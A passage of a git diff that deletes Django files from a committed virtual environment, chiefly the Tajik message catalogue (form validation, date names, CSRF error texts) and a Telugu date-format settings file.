is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "" - -msgid "No year specified" -msgstr "" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "" - -msgid "No day specified" -msgstr "" - -msgid "No week specified" -msgstr "" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "" - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/te/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/te/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/te/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/te/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index f8fe2bcb..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/te/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/te/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/te/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 236b3497..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/te/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/te/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/te/formats.py deleted file mode 100644 index bb7f2d13..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/te/formats.py +++ /dev/null @@ -1,21 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j F Y" -TIME_FORMAT = "g:i A" -# DATETIME_FORMAT = -# YEAR_MONTH_FORMAT = -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "j M Y" -# SHORT_DATETIME_FORMAT = -# FIRST_DAY_OF_WEEK = - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# DATE_INPUT_FORMATS = -# TIME_INPUT_FORMATS = -# DATETIME_INPUT_FORMATS = -# DECIMAL_SEPARATOR = -# THOUSAND_SEPARATOR = -# NUMBER_GROUPING = diff --git a/backend/venv/Lib/site-packages/django/conf/locale/tg/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/tg/LC_MESSAGES/django.mo deleted file mode 100644 index e93dc87f..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/tg/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/tg/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/tg/LC_MESSAGES/django.po deleted file mode 100644 index 05a4ca96..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/tg/LC_MESSAGES/django.po +++ /dev/null @@ -1,1299 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Mariusz Felisiak , 2020 -# Surush Sufiew , 2020 -# Siroj Sufiew , 2020 -# Surush Sufiew , 2020 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2020-05-19 20:23+0200\n" -"PO-Revision-Date: 2020-07-30 18:50+0000\n" -"Last-Translator: Mariusz Felisiak \n" -"Language-Team: Tajik (http://www.transifex.com/django/django/language/tg/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: tg\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Ҳолландӣ" - -msgid "Arabic" -msgstr "Арабӣ" - -msgid "Algerian Arabic" -msgstr "Арабӣ" - -msgid "Asturian" -msgstr "Астурӣ" - -msgid "Azerbaijani" -msgstr "Озарбойҷонӣ" - -msgid "Bulgarian" -msgstr "Булғорӣ" - -msgid "Belarusian" -msgstr "Белорусӣ" - -msgid "Bengali" -msgstr "Бенгалӣ" - -msgid "Breton" -msgstr "Бретонӣ" - -msgid "Bosnian" -msgstr "Боснӣ" - -msgid "Catalan" -msgstr "Каталанӣ" - -msgid "Czech" -msgstr "Чехӣ" - -msgid "Welsh" -msgstr "Уэлсӣ" - -msgid "Danish" -msgstr "Даниягӣ" - -msgid "German" -msgstr "Олмонӣ" - -msgid "Lower Sorbian" -msgstr "Сербиягӣ" - -msgid "Greek" -msgstr "Юнонӣ" - -msgid "English" -msgstr "Англисӣ" - -msgid "Australian English" -msgstr "Англисии австралиёӣ" - -msgid "British English" -msgstr "Ангилисии бритониёӣ" - -msgid "Esperanto" -msgstr "Эсперантоӣ" - -msgid "Spanish" -msgstr "Испанӣ" - -msgid "Argentinian Spanish" -msgstr "Испании аргентиноӣ" - -msgid "Colombian Spanish" -msgstr "Испании колумбигӣ" - -msgid "Mexican Spanish" -msgstr "Испании мексикоӣ" - -msgid "Nicaraguan Spanish" -msgstr "Никарагуанский испанский" - -msgid "Venezuelan Spanish" -msgstr "Испании венесуэлӣ" - -msgid "Estonian" -msgstr "Эстонӣ" - -msgid "Basque" -msgstr "Баскувӣ" - -msgid "Persian" -msgstr "Форсӣ" - -msgid "Finnish" -msgstr "Финикӣ" - -msgid "French" -msgstr "Фаронсавӣ" - -msgid "Frisian" -msgstr "Фризӣ" - -msgid "Irish" -msgstr "Ирландӣ" - -msgid "Scottish Gaelic" -msgstr "Шотландӣ" - -msgid "Galician" -msgstr "" - -msgid "Hebrew" -msgstr "Ивритӣ" - -msgid "Hindi" -msgstr "Ҳиндӣ" - -msgid "Croatian" -msgstr "Хорватӣ" - -msgid "Upper Sorbian" -msgstr "Себриягӣ" - -msgid "Hungarian" -msgstr "" - -msgid "Armenian" -msgstr "Арманӣ" - -msgid "Interlingua" -msgstr "" - -msgid "Indonesian" -msgstr "Индонезӣ" - -msgid "Igbo" -msgstr "" - -msgid "Ido" -msgstr "" - -msgid "Icelandic" -msgstr "Исландӣ" - -msgid "Italian" -msgstr "Итолиёвӣ" - -msgid "Japanese" -msgstr "Японӣ" - -msgid "Georgian" -msgstr "Грузӣ" - -msgid "Kabyle" -msgstr "Кабилӣ" - -msgid "Kazakh" -msgstr "Қазоқӣ" - -msgid "Khmer" -msgstr "" - -msgid "Kannada" -msgstr "" - -msgid "Korean" -msgstr "Кореӣ" - -msgid "Kyrgyz" -msgstr "" - -msgid "Luxembourgish" -msgstr "Люксембургӣ" - -msgid "Lithuanian" -msgstr "Литвигӣ" - -msgid "Latvian" -msgstr "Латвигӣ" - -msgid "Macedonian" -msgstr "Македонӣ" - -msgid "Malayalam" -msgstr "" - -msgid "Mongolian" -msgstr "Монголӣ" - -msgid "Marathi" -msgstr "" - -msgid "Burmese" -msgstr "" - -msgid "Norwegian Bokmål" -msgstr "Норвежский (Букмол)" - -msgid "Nepali" -msgstr "Непалӣ" - -msgid "Dutch" -msgstr "Голландӣ" - -msgid "Norwegian Nynorsk" -msgstr "Норвегӣ" - -msgid "Ossetic" -msgstr "Осетинӣ" - -msgid "Punjabi" -msgstr "Панҷобӣ" - -msgid "Polish" -msgstr "Полякӣ" - -msgid "Portuguese" -msgstr "Португалӣ" - -msgid "Brazilian Portuguese" -msgstr "Португалии бразилиёгӣ" - -msgid "Romanian" -msgstr "Руминӣ" - -msgid "Russian" -msgstr "Руссӣ" - -msgid "Slovak" -msgstr "Словакӣ" - -msgid "Slovenian" -msgstr "Словенӣ" - -msgid "Albanian" -msgstr "Албанӣ" - -msgid "Serbian" -msgstr "Сербӣ" - -msgid "Serbian Latin" -msgstr "Сербӣ" - -msgid "Swedish" -msgstr "Шведӣ" - -msgid "Swahili" -msgstr "Суахили" - -msgid "Tamil" -msgstr "Тамилӣ" - -msgid "Telugu" -msgstr "Телугу" - -msgid "Tajik" -msgstr "" - -msgid "Thai" -msgstr "Тайский" - -msgid "Turkmen" -msgstr "" - -msgid "Turkish" -msgstr "Туркӣ" - -msgid "Tatar" -msgstr "Тоторӣ" - -msgid "Udmurt" -msgstr "Удмуртӣ" - -msgid "Ukrainian" -msgstr "Украинӣ" - -msgid "Urdu" -msgstr "Урдуӣ" - -msgid "Uzbek" -msgstr "Узбекӣ" - -msgid "Vietnamese" -msgstr "Вэтнамӣ" - -msgid "Simplified Chinese" -msgstr "Хитоӣ" - -msgid "Traditional Chinese" -msgstr "Хитоӣ" - -msgid "Messages" -msgstr "Маълумот" - -msgid "Site Maps" -msgstr "Харитаи сайт" - -msgid "Static Files" -msgstr "Файлҳои статикӣ" - -msgid "Syndication" -msgstr "Тасмаи хабарҳо" - -msgid "That page number is not an integer" -msgstr "Рақами саҳифа бояд адади натуралӣ бошад" - -msgid "That page number is less than 1" -msgstr "Рақами саҳифа камтар аз 1" - -msgid "That page contains no results" -msgstr "Саҳифа холӣ аст" - -msgid "Enter a valid value." -msgstr "Қимматро дуруст ворид созед." - -msgid "Enter a valid URL." -msgstr "Суроға(URL)-ро дуруст ворид созед." - -msgid "Enter a valid integer." -msgstr "Ададро дуруст ворид созед." - -msgid "Enter a valid email address." -msgstr "Суроғаи почтаи электрониро дуруст ворид созед." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Қимати “slug”-ро дуруст ворид созед, бояд аз ҳарфҳо (“a-z ва A-Z”), рақамҳо, " -"зердефисҳо(_) ва дефисҳо иборат бошад." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Қимати “slug”-ро дуруст ворид созед, бояд аз Unicode-ҳарфҳо (“a-z ва A-Z”), " -"рақамҳо, зердефисҳо(_) ва дефисҳо иборат бошад." - -msgid "Enter a valid IPv4 address." -msgstr "Шакли дурусти IPv4-суроғаро ворид созед." - -msgid "Enter a valid IPv6 address." -msgstr "Шакли ҳақиқии IPv4-суроғаро ворид кунед." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Шакли ҳақиқии IPv4 ё IPv6 -суроғаро ворид кунед." - -msgid "Enter only digits separated by commas." -msgstr "Рақамҳои бо вергул шудокардашударо ворид созед." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Боварӣ ҳосил кунед, ки қиммати — %(limit_value)s (ҳоло шакли — " -"%(show_value)s -ро дорад)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "" -"Боварӣ ҳосил кунед, ки ин қиммат хурд ё баробар аст ба %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "" -"Боварӣ ҳосил кунед, ки ин қиммат калон ё баробар аст ба %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Enter a number." -msgstr "Ададро ворид созед." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "Маълумот символӣ мамнӯъро дар бар мегирад: 0-байт" - -msgid "and" -msgstr "ва" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" -"%(model_name)s бо ин гуна майдонӣ қиматдор %(field_labels)s алакай вуҷуд " -"дорад." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Қимати %(value)r дар байни вариантҳои омадашуда вуҷуд надорад." - -msgid "This field cannot be null." -msgstr "Ин майдон наметавонад қимати NULL дошта бошад." - -msgid "This field cannot be blank." -msgstr "Ин майдон наметавонад холӣ бошад." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s бо ин гуна %(field_label)s алакай вуҷуд дорад." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"Қимат дар майдони «%(field_label)s» бояд барои фрагменти«%(lookup_type)s» " -"ягона бошад, санаҳо барои майдон %(date_field_label)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Майдони намуди %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "Қимати “%(value)s” бояд True ё False бошад." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "Қимати “%(value)s” бояд True, False ё None бошад." - -msgid "Boolean (Either True or False)" -msgstr "Мантиқан (True ё False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Сатр (то %(max_length)s)" - -msgid "Comma-separated integers" -msgstr "Яклухт, бо вергул ҷудокардашуда" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "“%(value)s” шакли нодуруст дорад. Шакли дуруст: сол.моҳ.рӯз, аст" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "“%(value)s” шакли дуруст (сол.моҳ.рӯз) дорад, аммо сана нодуруст аст" - -msgid "Date (without time)" -msgstr "Сана (бе ишораи вақт)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"“%(value)s” шакли нодуруст дорад. Шакли дуруст: сол.моҳ.рӯз соат.дақ[:сония[." -"uuuuuu]][TZ] аст" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"“%(value)s” шакли дуруст дорад (сол.моҳ.рӯз соат.дақ[:сония[.uuuuuu]][TZ]), " -"аммо 'сана/вақт'' нодуруст аст" - -msgid "Date (with time)" -msgstr "Сана (бо ишораи вақт)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "“%(value)s” бояд адади даҳӣ бошад" - -msgid "Decimal number" -msgstr "Адади 'даҳӣ' ." - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"“%(value)s” шакли нодуруст дорад. Шакли дуруст [рӯз] [[соат:]дақ:]сония[." -"uuuuuu]" - -msgid "Duration" -msgstr "Давомнокӣ" - -msgid "Email address" -msgstr "Суроғаи почтаи электронӣ" - -msgid "File path" -msgstr "Суроғаи файл" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "Қимати “%(value)s” бояд бутун бошад" - -msgid "Floating point number" -msgstr "Адади бутун." - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "Қимати “%(value)s” бояд яклухт бошад" - -msgid "Integer" -msgstr "Яклухт" - -msgid "Big (8 byte) integer" -msgstr "Адади калони яклухт (8 байт)" - -msgid "IPv4 address" -msgstr "IPv4 - суроға" - -msgid "IP address" -msgstr "IP-суроға" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "Қимати “%(value)s” бояд 'None', 'True' ё 'False' бошад" - -msgid "Boolean (Either True, False or None)" -msgstr "Мантиқӣ (True, False ё None)" - -msgid "Positive big integer" -msgstr "" - -msgid "Positive integer" -msgstr "Адади яклухти мусбат" - -msgid "Positive small integer" -msgstr "дади яклухти мусбати хурд" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Слаг (то %(max_length)s)" - -msgid "Small integer" -msgstr "Адади яклухти хурд" - -msgid "Text" -msgstr "Матн" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"“%(value)s” шакли нодуруст дорад. Шакли дуруст соат:дақ[:сония[.uuuuuu]" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"“%(value)s” шакли дуруст дорад (соат:моҳ[:сония[.uuuuuu, аммо 'вақт' " -"нодуруст қайд шудааст " - -msgid "Time" -msgstr "Вақт" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Маълумоти бинари(дуи)-и коркарднашуда" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "Қимати “%(value)s” барои UUID номувофиқ аст." - -msgid "Universally unique identifier" -msgstr "Майдони UUID, идентификатори универсалии ягона" - -msgid "File" -msgstr "Файл" - -msgid "Image" -msgstr "Тасвир" - -msgid "A JSON object" -msgstr "" - -msgid "Value must be valid JSON." -msgstr "" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" -"Объекти модели %(model)s бо майдони %(field)s, -и дорои қимати %(value)r, " -"вуҷқд надорад." - -msgid "Foreign Key (type determined by related field)" -msgstr "" -"Калиди беруна(Foreign Key) (Шакл муайян шудаст аз рӯи майдони алоқамандшуда.)" - -msgid "One-to-one relationship" -msgstr "Алоқаи \"як ба як\"" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "Алоқаи %(from)s-%(to)s" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "Алоқаи %(from)s-%(to)s" - -msgid "Many-to-many relationship" -msgstr "Алоқаи \\'бисёр ба бисёр\\'" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Майдони ҳатмӣ." - -msgid "Enter a whole number." -msgstr "Адади яклухтро ворид кунед." - -msgid "Enter a valid date." -msgstr "Санаи дурстро ворид кунед." - -msgid "Enter a valid time." -msgstr "Вақтро дуруст ворид кунед.." - -msgid "Enter a valid date/time." -msgstr "Сана ва вақтро дуруст ворид кунед." - -msgid "Enter a valid duration." -msgstr "авомнокии дурустро ворид кунед." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" -"Миқдори рӯзҳо бояд доираи аз {min_days} то {max_days} -ро дарбар гирад." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Файл равон карда нашуд. Шакли кодировкаи формаро тафтиш кунед." - -msgid "No file was submitted." -msgstr "Ягон файл равон карда нашуд" - -msgid "The submitted file is empty." -msgstr "Файли равонкардашуда холӣ аст." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Хоҳиш мекунем файлро бор кунед ё байрақчаи ишоратӣ гузоред \"Тоза кардан\", " -"вале ҳарду амалро дар якҷоягӣ иҷро накунед." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Тасвири дурустро бор кунед. Файли боркардаи шумо нуқсон дорад ва ё 'тасвира' " -"нест" - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"Варианти дурустро интихоб кунед. %(value)s дар байни варианҳои дастрас вуҷуд " -"надорад." - -msgid "Enter a list of values." -msgstr "Рӯйхати қиматҳоро ворид кунед." - -msgid "Enter a complete value." -msgstr "Рӯйхати ҳамаи қиматҳоро ворид кунед." - -msgid "Enter a valid UUID." -msgstr "Шакли дурусти UUID -ро ворид кунед." - -msgid "Enter a valid JSON." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Майдони махфии %(name)s) %(error)s" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "Маълумоти идоракунандаи форма вуҷуд надорад ё ин ки осеб дидааст." - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "" -msgstr[1] "" - -msgid "Order" -msgstr "Тартиб" - -msgid "Delete" -msgstr "Нест кардан" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "" -"Илтимос қимати такроршудаистодаи майдони \"%(field)s\" ро тағйир диҳед." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Илтимос, қимати майдони %(field)s ро тағйир диҳед, вай бояд 'ягона' бошад." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Илтимос, қимати майдони %(field_name)s ро тағйир диҳед, вай бояд барои " -"%(lookup)s дар майдони %(date_field)s ягона бошад (Ягона будан маънои " -"такрорнашавандагиро дорад)." - -msgid "Please correct the duplicate values below." -msgstr "Хоҳиш мекунам, қимати такроршудаистодаи зеринро иваз кунед." - -msgid "The inline value did not match the parent instance." -msgstr "" -"Қимати дар форма воридкардашуда бо қимати формаи база мутобиқат намекунад." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Варианти дурустро интихоб кунед. Варианти шумо дар қатори қиматҳои " -"овардашуда вуҷуд надорад." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "Тоза кардан" - -msgid "Currently" -msgstr "Дар айни замон" - -msgid "Change" -msgstr "Тағйир додан" - -msgid "Unknown" -msgstr "Номаълум" - -msgid "Yes" -msgstr "Ҳа" - -msgid "No" -msgstr "Не" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "ҳа,не,шояд" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%s KB" -msgstr "%s КБ" - -#, python-format -msgid "%s MB" -msgstr "%s МБ" - -#, python-format -msgid "%s GB" -msgstr "%s ГБ" - -#, python-format -msgid "%s TB" -msgstr "%s ТБ" - -#, python-format -msgid "%s PB" -msgstr "%s ПБ" - -msgid "p.m." -msgstr "н.ш." - -msgid "a.m." -msgstr "н.р." - -msgid "PM" -msgstr "НШ" - -msgid "AM" -msgstr "НР" - -msgid "midnight" -msgstr "нимашабӣ" - -msgid "noon" -msgstr "нисфирузӣ" - -msgid "Monday" -msgstr "Душанбе" - -msgid "Tuesday" -msgstr "Сешанбе" - -msgid "Wednesday" -msgstr "Чоршанбе" - -msgid "Thursday" -msgstr "Панҷшанбе" - -msgid "Friday" -msgstr "Ҷумъа" - -msgid "Saturday" -msgstr "Шанбе" - -msgid "Sunday" -msgstr "Якшанбе" - -msgid "Mon" -msgstr "Дш" - -msgid "Tue" -msgstr "Яш" - -msgid "Wed" -msgstr "Чш" - -msgid "Thu" -msgstr "Пш" - -msgid "Fri" -msgstr "Ҷ" - -msgid "Sat" -msgstr "Ш" - -msgid "Sun" -msgstr "Яш" - -msgid "January" -msgstr "Январ" - -msgid "February" -msgstr "Феврал" - -msgid "March" -msgstr "Март" - -msgid "April" -msgstr "Апрел" - -msgid "May" -msgstr "Май" - -msgid "June" -msgstr "Июн" - -msgid "July" -msgstr "Июл" - -msgid "August" -msgstr "Август" - -msgid "September" -msgstr "Сентябр" - -msgid "October" -msgstr "Октябр" - -msgid "November" -msgstr "Ноябр" - -msgid "December" -msgstr "Декабр" - -msgid "jan" -msgstr "янв" - -msgid "feb" -msgstr "фев" - -msgid "mar" -msgstr "мар" - -msgid "apr" -msgstr "апр" - -msgid "may" -msgstr "май" - -msgid "jun" -msgstr "июн" - -msgid "jul" -msgstr "июл" - -msgid "aug" -msgstr "авг" - -msgid "sep" -msgstr "сен" - -msgid "oct" -msgstr "окт" - -msgid "nov" -msgstr "ноя" - -msgid "dec" -msgstr "дек" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Янв." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Фев." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Март" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Апрел" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Май" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Июн" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Июл" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Авг." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Сен." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Окт." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Ноя." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Дек." - -msgctxt "alt. month" -msgid "January" -msgstr "январ" - -msgctxt "alt. month" -msgid "February" -msgstr "феврал" - -msgctxt "alt. month" -msgid "March" -msgstr "март" - -msgctxt "alt. month" -msgid "April" -msgstr "апрел" - -msgctxt "alt. month" -msgid "May" -msgstr "май" - -msgctxt "alt. month" -msgid "June" -msgstr "июн" - -msgctxt "alt. month" -msgid "July" -msgstr "июл" - -msgctxt "alt. month" -msgid "August" -msgstr "август" - -msgctxt "alt. month" -msgid "September" -msgstr "сентябр" - -msgctxt "alt. month" -msgid "October" -msgstr "октябр" - -msgctxt "alt. month" -msgid "November" -msgstr "ноябр" - -msgctxt "alt. month" -msgid "December" -msgstr "декабр" - -msgid "This is not a valid IPv6 address." -msgstr "Қиммат суроғаи дурусти IPv6 нест." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "ё" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "" -msgstr[1] "" - -msgid "Forbidden" -msgstr "Мушкилӣ дар воридшавӣ" - -msgid "CSRF verification failed. Request aborted." -msgstr "Мушкили дар тафтиши CSRF. Дархост рад шуд." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Шумо ин хабарро барои он мебинед, ки ин HTTPS -сомона, тавассути браузери " -"шумо дархости равон кардани 'Referer' 'header' -ро дорад. Вале ягон дархост " -"равон нашудааст.Иҷрои ин амал аз ҷиҳати бехатарӣ барои мутмаин шудани он, ки " -"браузери шумо аз тарафи шахси сеюм 'шикаста'' (взлом)нашудааст, ҳатмӣ " -"мебошад." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Агар шумо браузери худро ба таври 'Referer'-сархатҳояшон дастнорас ба танзим " -"даровада бошед,хоҳиш мекунем, ки ҳадди ақал барои сомонаи мазкур ё барои " -"пайсшавии таввассути HTTPS ё ин ки бароидархостҳои манбаашон якхела, амали " -"азнавбатанзимдарориро иҷро намоед." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If 